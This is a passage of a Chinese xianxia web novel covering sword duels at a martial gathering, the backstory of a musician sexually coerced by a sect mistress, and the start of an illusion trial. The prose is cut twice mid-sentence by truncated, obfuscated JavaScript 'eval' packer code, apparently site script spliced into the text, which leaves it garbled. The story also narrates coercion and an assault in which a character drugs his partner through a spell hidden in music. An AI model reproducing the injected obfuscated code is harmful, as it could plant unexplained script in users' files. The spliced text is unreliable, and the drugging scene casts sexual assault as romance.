有人面带严肃,有人提心吊胆伸着脖子,似在思考观察比试有无出现端倪。潇泉直觉敏锐,对旁边闻尘道:“要不要拦一下?这场比试是时候停止了。” 闻尘握紧银龙剑柄,盯着比场不语。 正当多数人以为比试将要结束,花容酒化剑为鞭将所有碎片挡在身外,不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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群仙哗然,双目激奋得快要炸出光芒,一位是有稀奇传闻的修行者,另一位是常年隐居不常出面的百里仙君,怎么听好像都是一场振奋人心的比试。 闻尘波澜不惊,顶着万众注目拂袖登台,朝对面青年微微颔首。 白衣青年姿态儒雅内敛,抱拳回礼道:“在下尺素,拜见百里仙君。” 闻尘点头,“请。” 整个望峰台如同被数道炽热目光包裹起来的火场,场内两人都能清晰感受场外的无声热情。尺素略有不好意思,再朝闻尘深鞠一礼,随后拔剑上阵。闻尘又回一礼,同样提剑对阵。 两剑相碰,台上猛猛掀起一场暴烈狂风,比上一场比试要激烈得多,所有人瞪大双眼,想要一同见证比试结果。 比试过程变幻如影,招式法术目不暇接,好在两人较为收敛,众观台的无辜看客没有平白遭罪,反而得赏上百招精彩的比试。 一炷香之后,判官宣判:“百里仙君,胜!” 结果在众人意料之内,即便如此,大家还是看得津津有味。难得一见闻尘参会,又对阵龙的传人,估计后面没有哪场比试比这一场更精彩了。 望着对面除去外衣、一身天青色劲装的男人,尺素抱剑行礼道:“百里仙君果然名不虚传,尺素愿赌服输。” 闻尘抱剑回礼,“再会。” 回到座位,潇泉贴心地给他递水,“累不累,喝点儿?” “不累。”闻尘接过水杯抿了一口,见她眼睛不离白衣青年,出声询问,“认识?” 潇泉沉思,“我总觉得,我和他应该在哪儿见过。” 闻尘放下水杯,默然不语。 武峰大典结束,众人稍作歇息。潇泉趁人不注意,偷偷跟着那抹白影来到人迹罕至之地,找准机会拦截他的去路,“尺素大哥,你着急走啊?能先别走吗?” 白衣青年微愣,心想这名少女还真是大胆,偷偷跟随陌生男子出行也罢,还敢出面拦路,不知是要作甚。他收回心思,客气回道:“回家。” 潇泉拍拍胸脯,“你看我怎么样?” 尺素后退半步,想也没想道:“不好意思姑娘,我来只为比试,没有想过相亲。” “谁要跟你相亲了?”潇泉笑眯眯的,“我是来跟你比试的。” 比试?跟他? 尺素怔神一瞬,正色道:“姑娘,恐怕尺素很难答应你的要求。你没有灵力抵抗,若尺素有一丝懈怠,对你无异于痛下杀手,还请姑娘不要胡闹,快点回家吧,一个人在外不安全。” 潇泉不退反进,“他们说你道行颇深,我相信你能收手自如,不会对我痛下杀手。我只是修行浅,但道理都懂。你百般推辞,莫不是看不起我?” 尺素:“绝无此意。” “那你就跟我比。”潇泉压低声音,“你放心,我小师父就在不远处盯着,就算你失误出手,有他在,你伤不了我。” 尺素正要疑问,潇泉又道:“就是你刚刚比试的那位。” 尺素怔住,“百里仙君?” 潇泉连连点头,“正是正是。” 他确实见过这位姑娘,但不确定是不是百里仙君身边那位,只问:“姑娘一定要和我比试?” 潇泉:“因为我喜欢你的招数,想试试。” 尺素目含温笑,“就因为这个?不怕受伤?” 潇泉:“你不信我,难道还不信百里仙君?” 尺素无言以对,瞧她迫切想要尝试,无奈松口:“我可以答应你,但先说好,我不会动真格,你也……别乱挥剑。” 潇泉拔剑而出,兴奋道:“有劳阁下赐教。” 这场自发的个人比试自然没有台上精彩,但潇泉还是游刃有余应对尺素招式,就这样和对方有来有回打了十几招,后来她把事先备好的符纸化用到剑上,一道微弱的力量击中尺素佩剑,剑柄的蓝色宝石忽然一闪,一道潮水巨龙飞出,冲向潇泉。 尺素收剑一愣,立马过来拦截这只失控的器灵。 在他赶到之前,一缕华光先行围住潇泉,顺风而来的仙气吹飞她帷帽,刚飞出几步,又被人抓住帽沿拿了回来,重新戴回潇泉头顶。 闻尘双目认真,量着她的轮廓,给她系紧帽绳,不言不语。 这张脸突然闯入,潇泉未能反应,望着他清冷又温顺的眉眼微微一怔,渐渐褪去笑脸,伸手稳住帷帽,后退半步,视线胡乱移至别处。 那边,尺素刚好将水龙器灵收回剑内,他惊魂未定看向潇泉,快步过来赔罪,“抱歉姑娘,不知这器灵怎么突然窜了出来,还好没事……多谢百里仙君出手相救,不然尺素可能就铸下大错了。” 潇泉掸去肩上灰尘,“没事,仙君不必自责,以你的实力,力挽狂澜绝没问题。此举虽险,但能见识到仙君的器灵,我无遗憾。” 尺素低头看剑,神容投入,“也不能完全说是器灵,它是我修行的一个招式,名为水龙吟。” “原来如此。”潇泉开始给自己找台阶,“此战我已败,仙君的水龙吟果然名不虚传。我们有缘再见。” 尺素行礼,“有缘再见。” 36. 武峰大典(贰) 比试结束,主持者宫榷亲自公布“与君三会”离现在还有两个时辰,大家都在五行宫内休憩打发时间。 五行宫高五层、宽十间,从上往下可以看见规整的五角形状,每角颜色不一,分别代表着五行,整座行宫可以容纳几百号人。 潇泉在二楼雅间听着琴曲,发觉琴曲有点奇怪,清高而不附世俗,需有同道知音欣赏,不然在不懂欣赏的人面前只会平添忧郁。正如旁侧坐着发呆的小乔,她捂着双耳,不知是不是旁观太久太累的缘故,眼神有点呆滞。 潇泉时而摸她头,时而捏她脸,尝试静心感受琴意,指尖轻轻在几面敲打节奏,“这风格曲调不像是为大众所奏,难道是明海楼的那位遮面琴师?”她重生已有几月,对许多奇闻异事都略有耳闻,包括以乐曲闻名的明海楼及身怀绝技的几位琴师。 闻尘坐在对面,“正是。” 潇泉轻吟了半段,“这琴师技术不错,宫榷眼光可以,难得没做煞风景的事。” 闻尘似是也认可她所说的,道:“他叫蓝凌。” “蓝凌?” 将此名熟记于心的宫璃听清琴声,追出雅间来到楼道栏杆边趴看,轻喃:“他怎在此……” 琴声是从二楼高台的屏风之后传出,只闻其音不见其人,少年静听顷刻,等琴声消停,隐隐看见屏风后方好像有人影在动,快步赶去。 “让一让,不好意思。”宫璃穿过仙群找到楼梯口准备下去,没走几步,一名头戴斗笠的青衣男子拾阶而上。 “蓝凌公子?”宫璃退回原地喊道。 蓝凌抬头,扶着斗笠上来,应道:“宫二公子。” 宫璃眼中尽是见到熟人的惊喜,尽管二人只有一面之缘,但他仍觉高兴,道:“您怎么也来了?” 昆仑仙门圣地鲜少出现凡人之躯,一般为仙君在山下结缘的贵客,或是有事请上来的。这个道理少年不会不懂,他问:“是我哥请你们过来的?” 蓝凌微笑点头,“宫大公子有意相邀,我们明海楼又和宫家有萍水相逢之缘,自是要来。” 宫璃试探问:“既然如此,不如蓝凌公子进我雅间坐坐?” 蓝凌不动分毫,并解释道:“二公子,我们有规定不能去贵客的私人之地。” 宫璃怪道:“那为什么之前你可以来我们宫家?” “那是经过我们楼主和宫主批准的谢宴,本质不同。”蓝凌略一思索,决定把话当面说清,“宫二公子,我们靠卖艺吃饭,身份低贱,你再怎么觉得我本人亲切,都不要忘了自己的身份,尽量和我保持距离。万一养成习惯,日后碰见心肠坏的外人,可能会借着你的运气扶摇直上,到时你的气运会受损。” 宫璃反驳,“我不傻,可以通过相处感知哪些人的心思肮脏干净,你不用担心我。我知道你是为我好,也知道你不会利用我。你和那些阿谀奉承之人不一样,我看得出来。” 白莎斗笠之下一片安静,蓝凌伫立原地,不为所动。 对方意志坚决,宫璃没有强人所难,妥协道:“雅室不行,公席呢?” 蓝凌:“可以。” 宫璃嘻嘻两声,带人入座,没聊两句,一名仙侍捧着几株颜色艳丽、形状饱满的木槿花过来换下玉瓶里的旧花。 “这花不错。” 潇泉抚摸着花瓣,“没想到百年过去,昆仑竟变得如此风情。” 说到这个,她想起发生变化的不止是“昆仑现花”,观赏木槿的双眼不经意扫向对面。 闻尘似是感应到她眼神,看过来道:“不是昆仑,是主持方。” 潇泉回视,“这么说来,每一届的武会大典都有新鲜把戏?上一届是谁主持的?” 闻尘:“玄武门主之徒,何遥。” “何遥?”潇泉吃惊,“你不说,我都快忘记这号人物了。他如今在做什么?” 闻尘:“掌管北地玄武,职镇守。” 北地玄武隶属玄武门重地之最,蕴藏万千灵气,有四方玄武石像坐镇,需精通玄武门秘法的内徒号令,是为镇守。 潇泉回应知晓。不说这位酒友,原来在青泽修行的师弟师妹被白清鸣放归山下,他们成仙的成仙,当家的当家,游历的游历,全都背着行囊去往他乡,不知何年得见。 “你师叔们近年可好?你们……”潇泉稍顿,“有来往吗?” “有。”闻尘话语平静,“逢年过节会聚一聚。” 多余的不说,不必的不问。假如没有白清鸣的指令,他们待在青泽怕是得被人戳一辈子的脊梁骨,不如放归人间,自行修行。当来日有缘,必会相见。 至于闻尘选择留在青泽的缘由,潇泉似乎知道,似乎不知,一直没问,是觉得这个话题沉重,细问像在揭人伤疤。 有时候关心不一定非要问出口,其实两个人面对面相坐,一个微笑,一个眼神,便能心领神会。 旁边小乔已经酣睡,潇泉轻轻拍着她背,声音轻轻:“今年过年呢?” 雅间之外喧嚣不断,室内两人仿若隔绝在外,不论对方声音多小,都能听得一清二楚。 闻尘问她:“你想怎么过?” 过年这等重要佳节,潇泉不敢随意,道:“就按现在的习俗来吧,我没什么特别想要的……你呢?” “有。”闻尘说道。 潇泉身形一顿,惊奇看去,青年安静地望着栏杆外面的喧闹,眉眼多了一份惬意安详。 其实比起目睹他任劳任怨、垂名仙史,她更喜欢看他无忧无虑地生活,偶尔露一露笑容,足矣。 潇泉没有继续追问,微微一笑,只觉这片刻的宁静无比舒适,仿佛只要稍微再靠近一点,便能触摸幸福。 五行宫的热闹逐渐褪去,赏花玩乐的人少了许多,多数人进入静心休憩的状态,但轻松气氛在某一刻白色花瓣散落满天时变得紧绷。 一队排场不大却气势逼人的行伍不疾不徐进入行宫,她们白衣红带,容蒙面纱,除了飘动的宽袖有点活人气息,表现举止如若精致木偶。 行伍中间举着一抬圆形白纱轿辇,窥不见其人,不过大家皆知此人身份,故停乐止声朝她行礼。 但凡见惯这个家族阵仗的人都晓得今日阵仗实为低调,只是这些女子的行头气派异于常人,所以从她们进门到四楼雅间的路上备受万众瞩目。 宫璃自是不瞎,正想着要不要上前打招呼,瞥见朝这边走来的宫榷,起身问道:“哥,母亲怎么来了?你请的?” 宫榷想说什么又止住,最后轻飘飘道:“不是。” 宫璃:“那母亲来这儿……” “不关你事,小孩子少问。”宫榷越过他身,朝里面伸臂,“蓝凌公子,请随我来一趟。” 蓝凌没有意外,神情淡然,起身朝他一礼,“有劳宫大公子带路。” 宫璃点头,又对少年道:“你要是闲得无聊,就去找青泽那个面瘫,我有空再来。” 不等回话,他速速带着蓝凌离开,宫璃气得咽回问话,对他风急火燎又稳重的背影哼道:“什么青泽面瘫,又骂人家,整得你脸色有多好似的,嘁。” 他眼睛很不老实地偷瞟他们去往何方,还没看到底,对面男人像是背后长眼一样,扭头狠狠警告他一眼。宫璃吓得一哆嗦,转溜去寻百里大人和姐姐了。 五楼在客栈中当属天字号楼,有结界隔绝,不容常人经过,极为僻静。蓝凌一路随宫榷来到其中一所房间门口,先有宫榷出声禀报,然后再是他拱手行礼。 人已带到,宫榷没有滞留,最后朝蓝凌抱拳,静步退下。蓝凌目送他离开,自己却停在门前岿然不动,等着房门不推自开。 一缕熟悉又陌生的清香袅袅飘出,蓝凌面不改色跨门而入,甫一进去,门便自己合了。 雅室外厅敞开的花窗正对青山绿水,风清明亮,轻轻呼吸、寥寥几眼便觉神清气爽,是一个休憩养神的好地方。 寝间由紫色垂珠帘相隔,里面情景若隐若现,可以看见榻上靠着一位女子,姿态慵懒矜贵。 蓝凌立在室厅,隔着浅紫纱帘,朝寝间方向拱手行礼,“蓝凌拜见宫主。” 寝间传来女子清音:“本宫还以为,你不会应见。” 蓝凌垂首,“宫主于明海楼有恩,蓝某作为楼内一员,自要应见。” “哦?你真这样想?”微风拂起纱帘,宫玉泷英清冷的面庞一现而过,“可直觉告诉本宫,你不想见。” 蓝凌:“直觉未必全对。” 宫玉泷英没有回答,慢慢从榻上坐起,盯着帘外人影,“抬头。” 蓝凌始终不动,哪怕斗笠白纱遮着脸面可以窥视,他仍一眼不瞥。寝间的人自是清楚,冷脸扬袖,隔绝两人的纱帘霍然飞向两边挂着。 女人一袭宽袖黑袍,满裙红桃飘地,腰间红绳系着一枚墨绿玉佩,下垂金铛流苏,配着高挑身材别有一番凌厉风味。细看面容,她淡妆轻抹,眉目无情,内里透着一股冷意,唯有那双眼睛似乎残留着丝丝柔情。 这副一尘不染的皮囊不论看多久都不会乏味,始终觉得干净,可蓝凌依旧垂着眼皮,没有看她。 “斗笠摘了。”宫玉泷英缓步走得没有一点声音。 蓝凌好似没有听见,立着不动。宫玉泷英没有恼怒,幽步路过他身侧,仅仅挥一挥袖,斗笠便飞落在地。 那是一张清瘦苍白的容颜,眉目如画,仔细一瞅,还与宫二公子有着几分神似,只是他现在垂眼淡漠的样子与朝气蓬勃的少年大有不同,有着成人的沉稳内敛。 宫玉泷英毫不避讳打量他的眼神,从前面转到后面,声音听着不似关切:“好像又瘦了。” 她衣领裹得并不严实,露着一截洁白脖颈和精致锁骨,背部还有一只不完整的红色图腾,剩余部分全被衣服遮挡。从形状结构上看,图腾显然是翼类,再结合家族背景,是朱雀图腾没错。 蓝凌记不清自己是第几次见过完整的图腾了,如今再见已是麻木,抱着木琴冷冷看她。 宫玉泷英若无其事似的坐在窗边观赏高山远水,“十四年,这时间的确是久,久到你好像有点忘记当初的承诺了。” 蓝凌微顿,“我没忘记。” 宫玉泷英轻托着腮,漫不经心道:“你还有一次机会。不管是他主动找你,还是你主动找他,你都只剩一次机会。事不过三。” 蓝凌抓紧琴身,沉默半晌道:“我已经答应你此生不赎贱籍,为何还要步步紧逼?” 宫玉泷英:“我何时允过你们见面?” 蓝凌:“可是我并未透露我的身份,也从未想过揭露这层关系。” 宫玉泷英:“你的想法暂且不提,我只问你,他是不是说过想赎你贱籍。” 她话语带着肯定,蓝凌没有否认,“……是。” 宫玉泷英冷笑,“一个原本不能见面的人,却因一面之缘博得好感,你觉得这应该吗?我说过,只要你安心待在明海楼,遵守承诺,永不赎籍,我可以保你荣华富贵一辈子。” 她坐正身体,“倘若你心有异意,触越底线,别怪本宫不念往日情分,一剑杀了你。” 如果这话放在从前,蓝凌求之不得,但今日心有牵绊,他不敢随便拿性命作赌。 蓝凌不作声,宫玉泷英微笑着从座位上站起,“杀你易如反掌,可本宫又想到你不能修行长寿,索性作罢,毕竟让你痛快死去,我更想看你痛苦到老。” 蓝凌:“如果主母远道而来是为了辱我,大可不必。” 宫玉泷英:“如果这也算羞辱,那不然我做点真正羞辱你的事情?” 蓝凌蹙眉,“这儿是五行宫,你不要……”话音未落,他又陡然闭嘴。她连昆仑议事堂都不放在眼里,又怎会正视一个小小行宫的规矩? 不等他回神,宫玉泷英回到榻上侧卧,温柔姿态永远居高临下,眼神睥睨。这副熟悉的画面勾起蓝凌不堪的回忆,一下把他拉回当年。 那年他不过十六,两年前受妖祸害,自此与修行绝路,为讨生活,自卖到楼中学艺。 因为经历和性情的缘故,他奏不出世人喜闻乐见的乐曲,少有登台机会,卖艺的钱不足以连续治病,只能攒一阵治一次,而断断续续地治病不能有效根治身体疾病,所以他一直处于虚弱状态,勉强活着一口气。 身体不好,又挣不了钱,明海楼没有踢他出门已算仁义,不可能把金钱精力花在他的身上。 事情迎来转机是在蓝凌最后一次出演那晚,他强撑着走回房间慢慢躺下休息,只觉这一辈子将到尽头,临了却有人推开房门说有位贵人要听他一曲,豪掷千金让他一夜成名。 这位贵人并非明海楼的熟客,只会停步暂听一曲,恰逢他最后一次登台,欣赏其曲,故而说要见人。可惜人病卧在床,起不得身,见不了人,明海楼无奈向金主禀明,金主大方送出一粒丹药,说不论如何都要见到本尊。 那天雪夜,蓝凌裹着并不怎么保暖的冬衣,抱着一把普通得再不能普通的木琴来到天字号房对着一面屏风弹奏,弹到头晕目眩,琴弦铮断,指尖流血,屏风之后的人方才喊停,过来给他一个精致匣子,说是金主的报酬。 这盒匣子盛放的东西够他活下半辈子,也够他去医馆拿上好的药材治病。蓝凌无以为报,当夜跪拜送行。 没人知道金主身份,金主也不愿透露,每次听琴都坐在屏风之后,留着一名女子侍奉。 蓝凌从不好奇,也不打听。 这样的关系一直保持到来年开春,他再次抱琴入座准备弹指,屏风之后有女声拦道:“琴带上来。” 他压住心中茫然,听话照做,坐在原位听着屏风后面传来悠长缥缈的琴声。 原来她也会弹琴,他第一次聆听。 有时两人会隔着屏风交流琴技,此外对方还会慰问蓝凌的身体状况,蓝凌总说在慢慢变好,只是疾病落根,一时难除。 再后来,蓝凌经常被请出明海楼,弹琴的地方一次比一次陌生,所见所闻也一次比一次深奥。 他以为和对方的关系止步于此,不曾想是另一个深渊的开始。 那日,蓝凌照常负琴履约,初见女子面容,微微心惊,强行镇定坐弹幽曲。意外的是,这次演奏没有走到最后,他又收到一盒精致匣子,里面装着一颗仙丹,说能根除旧疾,长命百岁。 唯一条件是,用他来换。 蓝凌坐在席上久久没有回音,不知要如何抉择,没有答应没有拒绝。 女子当是默认,走到他面前,拂开桌上木琴,问道:“会不会?” 蓝凌怔住,不由说道:“明海楼卖艺不卖身。” 他起身就要去捡掉在地上的木琴,女主反手拦住,把他按在桌上,“与本宫一起如何算得卖身?你是在说自己贱还是本宫贱?” 蓝凌回答不了,两只手腕被捏得发白吃痛,后背不停冒冷汗,整个人难受得想流眼泪,所幸上方女子见好就收,他没吃太多苦头,缓神回应:“咳咳……我,不会……” 他想后退,奈何退无可退,女子扣着他的双手致使他无法动弹,“无碍,本宫教你。” 这一夜蓝凌过得生不如死,内心的屈辱远大于身体的痛楚,恨不能一刀捅穿自己心脏,尽快结束一切。 他气得咳血,发了高烧,又被医治如初,在这不知名的地方睡了几天几夜,最后被安然无恙送回明海楼。 几经噩梦醒来,蓝凌陷入恍惚,好不容易打起精神坐在镜前准备梳妆,一看见脖颈胸前的痕迹,脸色登时发白,想起昨晚的荒谬,怒火直上胸腔,拂袖打翻妆台,撑着墙壁发抖。 那几日他没有登台,没有见客,闭门不出,想要上吊,但不是凳子散架就是白绫自断,买来毒药不是掺假就是发酸,不仅不死还愈发倒霉,越是倒霉越是心累,连死的力气都没有了。 蓝凌自闭后的第七日,一把上等古琴送至,雕着沉香木,缠着千年丝,说是给他的礼。 他一言不发把琴摔了,换成一把普通的琴重新登台,万幸没有看见不想看见的人。 不过这种万幸只停在深夜,子时蓝凌朦朦胧胧感觉有人,睁眼一看,房间不知何时明灯,女子坐在床边望他,见他醒来,伸手蒙住他眼,“芳古琴你也敢摔,真是好大的胆。” 蓝凌张了张唇,没有说话,感觉一粒药丸滑入咽喉,随后口中苦涩被温凉清香取代。他拧紧眉目,抵着女子,好一会儿才挣脱出来,努力大口呼吸。 女子凝视他片刻,“当真是个病罐子。” 蓝凌无力应答。 也许已经经历,他没有初次那样抗拒,唯有身体承受不住一定程度的痛苦或快感会稍微挣扎,不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宫玉泷英细细想道:“不能赎籍,不能自灭,不能相认,但凡有任何一个苗头,本宫不会轻饶。还有,往后如若沾染其他女子,你最好洗干净脖子,本宫会亲自送你上路。” 蓝凌可以答应所有,唯独“不能相认”之求,迟迟难应。宫玉泷英像是知道他因何而困,给予足够的时间让他思考,接着两人各自履行约定,一个是他人命运的掌控者,一个为他人命运沦为囚徒。 那段时间蓝凌战战兢兢,言行举止不敢出一点差错,生怕牵连孩子,待孩子降世被抱进宫家正门,他方才安心。 这种画地为牢的日子一眨眼就是十四年,蓝凌已经习惯,没有想过轻生,没有想过逃跑,日复一日坐在楼中,偶尔幻想孩子长大的模样。 因为有前车之鉴,所以他对宫玉泷英百依百顺,不会拒绝任何请求,只愿她不要把对自己的憎恶转移到孩子身上。还好宫玉泷英不常光顾,一般觉得心烦气躁才抽空来他这儿听那么一两曲,交集不算频繁,不至于产生厌恶。 等孩子慢慢长大,蓝凌转为私人幕后,出面必戴斗笠,以防意外发生,哪怕在宫家演奏,也没有妄想摘下。 他知道自己逃不过女人的眼,一旦摘下,后果难料。 “愣着干什么?”榻上女子的声音将他的思绪拉回现实,“安神曲。” 蓝凌望着她带有疲态的面庞,心知她刚从昆仑办事回来,没有多余精力跟他折腾,路过只为听乐一曲,适才那话好像随口一说。 他敛眉端坐,静心弹琴。 一曲奏毕,整间雅室分外宁静,榻上女子似已安睡,蓝凌在榻边静坐顷刻,揭下床帏翻了上去。 听到动静,宫玉泷英睁开双眼,在模糊视线中看见有人俯身而下,凑到近前,呼吸密密。她停顿须臾,抬手抚摸他的发顶。 那双手掌长年受琴弦摩擦,指间薄茧在雪地留下轻微痕迹,残余的粗糙余温不禁让这地白雪微微震颤。 当身如沐火、知觉变得清晰时,似乎每一寸肌肤随之燃烧。宫玉泷英蹙紧眉头,一把抓住蓝凌长发,“你疯了?” 蓝凌不语,似是默认。 宫玉泷英瞪眼,刚想把人掀翻下去,颈间一痛,紧随而至的安抚有意无意压制心火,挣扎到最后,只剩百般无奈。 雪地接连苍茫云天,顺风顺水顺君心,偏偏天蒙清尘,望不到顶,错半步,差一尺,直听雪风呼啸。 宫玉泷英缓缓睁眼,神情冷淡道:“你再放肆,本宫杀了你。” 一时的折磨何以比一世的凌辱,蓝凌不怯反进,将她翻了个身,“求之不得。” 像是寒冬厚雪被一颗火种烫穿融化,宫玉泷英咬牙忍耐,想撑起上身,却是徒劳无功,后知后觉,“你在安神曲里面加了什么蛊术?” 蓝凌跟随她多年,接触颇多,再怎么懵懂无知也会学会一点东西,比如不用修为的蛊术伎俩之类。 面对质问,他很是淡定,“可以让你睡上好觉的。” 宫玉泷英没有说话,被结实的臂膀捞成半跪半伏的状态,不免惊觉:原来他根除疾病的身体一直在恢复,力气已如常人那般康健。她额角冒筋,正面朝下,感受着灼热力量在体内涌动,温柔而疯狂,可以夺人神智。 看着这张熟悉的面孔失去平日的冷威端庄,蓝凌笑不出来,也没有施舍怜悯,仿佛阻止他的只有她的亲口求饶。尽管他清楚,这不可能。 宫玉泷英从没受过此等待遇,含着耻辱讥讽道:“我还以为你有多正人君子……不过和他们一样。” 蓝凌慢下身来,把她翻面正对自己,问了一个从没问过的问题:“你和他们,是不是也这样。” 宫玉泷英不是重欲之人,但也有寻欢作乐之时,与谁全看心情,不会为谁驻足。蓝凌问出这话,不仅明知故问,多少也有自取其辱的意思。 女人抬眼看他,神容恢复冷淡,眼神似有怜悯,没有讥讽,没有回答。 蓝凌知道这注定是一个没有答案的问题,圈紧她身,直到雪落红梅,人如浴水,银丝织成绸缎。宫玉泷英似乎忍到极限,别过了头,声音清晰可闻破碎之意:“蓝凌,你放开我……” 两遍说完,仍未得到回应。宫玉泷英像早有预料,用仅存的意识支撑身体动作,抓住散落枕边的珠钗扎向他心口,还没扎到,钗身随着手中细汗滑了出来。 蓝凌拿走珠钗放到远处,托起她后颈,鼻尖对着鼻尖,“宫主可曾想过,将来一日,自己会为昔日所做付出代价。” 宫玉泷英知他说的不是这个代价,是日后能摧毁她精神的事情。关于此论,她暂时想不到结果,无从回应。 蓝凌端详她水光淋漓的面庞,带她游走在云端之上,执拗问道:“我是谁。” 宫玉泷英仰头吸着空气,指甲嵌入他手臂皮肤,应道:“李杨……” 不管他怎么磨,她口中念的全是陌生姓名,不肯屈服丝毫,蓝凌只好放弃,耐心磨平她的凌厉,让她再也说不出刺耳的话,做不出伤人的事。 最后的最后,蓝凌一人收拾残局,拥她入眠。 这一觉睡得深沉,醒来之时,雅室恢复如初,一片空荡,唯有枕边留着一支珠钗。 蓝凌呆坐片刻,起来装束整齐,就要戴上斗笠离开,又蓦地停步,走回榻边,用手帕把珠钗包好揣出了门。 随身的古琴不翼而飞,蓝凌习以为常,不骄不躁走出五行宫,找到车夫准备回楼。 车夫乐呵呵地架马启程,朗声道:“宫主耗费重金买走你的旧琴,说明日会给你送个更好的。” 蓝凌微微一怔,旋即神色如常,掀开帘幕钻进车内,“好,我知道了。” 车夫瞟一眼天色,“蓝师傅,你在里面待那么久,是不是去给宫主弹安神曲了?大家听说她来之后找不见你,都猜是她把你请了去,不好意思打扰,这才先行离去,你千万别往心里去。再不济,还有我在这儿等你呢。” 蓝凌垂下眼帘,“多谢。” 车夫抓紧缰绳甩了两下,“蓝师傅你可别说,放眼整个京都,怕是找不到第二位能入宫主慧眼的琴师了。你少时就进明海楼卖艺吃饭,像你这种和贵客保持十余年来往都不厌不倦的,着实少见。那些贵人大都喜新厌旧,不好伺候,大家很羡慕你。” 蓝凌无动于衷,漆黑的眼深不见底。 “哎,这次武峰大典办得不错,百里仙君居然带着刚收的小徒弟现身了。”车夫惊诧,“啧,我咋有一种要变天的感觉嘞?蓝师傅,你怎么看?” 蓝凌掀开窗帘一角,望着窗外变换如风的景色,“变与不变都与我们无关。我们凡人唯一能做的,就是顾好自己。” 车夫轻叹道:“也对,那都是神仙的事……蓝师傅坐好,我要快马加鞭了。” 他猛喝一声,策马奔走起来,带着车内的人远离尘嚣。 37. 武峰大会(叁) 时间一晃而过,不知不觉走到“与君三会”的时辰,众人再聚望峰台,等着宫榷公布幻境主题,看他握着水滴墨笔在空中依次写下“静、心、魔”三个金字。 参典者目如火炬,纷纷抽签。闻尘把抽签资格让与潇泉,潇泉抽到“心”境,还算运气不错,没抽到让她心虚的主题。 幻境考验以宗门帮派为主,安全起见,规定不能超过七名弟子。闻尘带上潇泉和五名青泽弟子一起参与,其中包括小乔。待钟声鸣响,他们按着顺序进入无界幻境。 所谓无界幻境,就是以假乱真、有真有假的世界,主要考验人的心境修养,任何场面情景都有可能出现。 潇泉和闻尘等人进入幻境后,一道刺眼华光自远方而来,将他们带到未知之地。再睁眼,他们身处一个破败残废的城镇,街道四面八方堆了不少黑压压的废墟,布满裂痕的冰冷地面上零零散散躺着人体,不知是死是活。 一进来就是这种败国王朝的场面,弟子们神色紧张,盯死所有可疑之地。 潇泉往闻尘身边一靠,手指藏在衣袖里戳他两下,“你走前面,万一有突发事件,你好及时应对。我没有灵力,帮不上忙,这几名晚辈也不可能控住大局,所以一切靠你了,百里师父。” 闻尘目及眼前全部景物,“嗯。” 说完不久,潇泉觉得有种卖徒弟的感觉,张嘴解释:“没办法,我们当中只有你修为最高。” 闻尘没有在意,“跟紧我。” 他们深入这座城镇,碰见一个妇人在地上痛苦蠕动,叫人看着心疼不已。 有弟子想上前帮忙,潇泉先行拦住,“先观望一下,无界幻境的景象真真假假、假假真真,万一遇到陷阱,得不偿失。” 弟子踟蹰不决,望着可怜的妇人,收回伸出去的脚。 很快,闻尘第一个做出行动,快步过去扶起妇人,给她喂了一粒红色药丸。众弟子一步不离跟着,过来有序簇拥着妇人,眼神上下打量。 之所以这么警惕,是怕妇人为妖怪所变,他们要等百里仙君窥透对方真身,方能判断该不该救。 吃下药丸,妇人面色渐好,紊乱的呼吸变得平稳一些。她轻轻舒了口气,满是感激地握住闻尘,含泪说道:“多谢”。 潇泉:“大娘,你还有没有哪里不舒服的?有的话直说便是,我们会想办法。” 妇人擦去眼角的泪,“我没事,刚才是脚扭了一下,已经被这小师傅治好了。” 妇人如见救星,把当地发生的事逐一道来,“翠城是一个普通的边缘小城,前些日子有人从西边逃亡过来,说是有妖怪追着,准备拿我们这些人开荤……我们没见过那种场面,没有信……后来,昆仑派出弟子前来除妖,可不出半月就有大半死在城外,说来的不是妖,是魔……” 妇人说着说着声泪俱下,声音颤抖轻细:“那些弟子在我们城门布下了法阵,可以抵挡那些妖魔。不是我们不想开门救人,只是一旦开门,城里的人都会沦为它们的口中之物……这该怎么办呀仙君!我的丈夫儿子已经饿死……我们没法出去,粮食都已经吃得个精光。再这样下去,我肯定命不久矣……我看你们携有佩剑,肯定也是仙门中人吧?能不能帮帮我们……” 她忍不住嚎啕大哭,脸色苍白消瘦,看着像是饿了一阵,亟需解决温饱问题。 他们进来完全没想到是这等场面,没人携带食物。潇泉在自己身上摸来摸去,摸出一个馍馍出来,“我带了一个,你先吃吧大娘。” 妇人痛苦的表情终于露出喜色,接过馍馍狼吞虎咽地吃了起来。 弟子们目向潇泉,好奇她从哪里拿的食物。潇泉本想随口应付过去,见闻尘也望了过来,只好开口:“我随手在宫殿拿的。吃食那么多,不要白不要。” 众人恍然大悟,恢复严肃。 遇袭一事恐怕不能很快解决,眼下最重要的是安顿难民,解决他们的温饱病痛。 潇泉:“大娘,附近有没有溪水河流?” 妇人指向西北方向,“在那边……” 潇泉:“好。大娘你先在这儿休息,我和这位仙君去去就来。” 一名青泽弟子扶着妇人到阴凉处歇息,顺便拿出水壶给她解渴缓一缓,其他弟子也没闲下来,去附近寻难民救治了。 闻尘留下银龙和弟子们一起看守此地,和潇泉直往西北方向走去。 这是一条极为普通的石板路,不见什么怪异,两人走到尽头,穿过一片青草石子地,低头可见薄薄一层云海蓝天,证明妇人所说不假,附近确有水源。 潇泉怕有东西窜出,往前走时总往闻尘那儿瞧,看他有没有察觉到什么。 距离一步之外的闻尘看她总是三步一回头,应道:“我在这儿。” 潇泉轻咳道:“我知道。你刚刚是不是用了通灵眼?有没有看出什么?” “一切正常。”闻尘巡视四周,“只是,这地方的魔气有点古怪。” 潇泉一下绷紧了神经,“怎么说?” 闻尘:“这魔气与我之前所见的不同,味道更古臭。” 潇泉肃色,“你肯定游历过不少地方,如果连这里的魔气你都不曾见过,难道是什么上古魔兽?”说完,她立刻打消了这个荒唐想法。 别说上古魔兽,就是在魔域找魔兽都找不出多少。当年潇泉找遍地方,只在接近黄泉的界碑处抓到一匹野性非常的幽鹿。 “跟我来。”闻尘忽道。 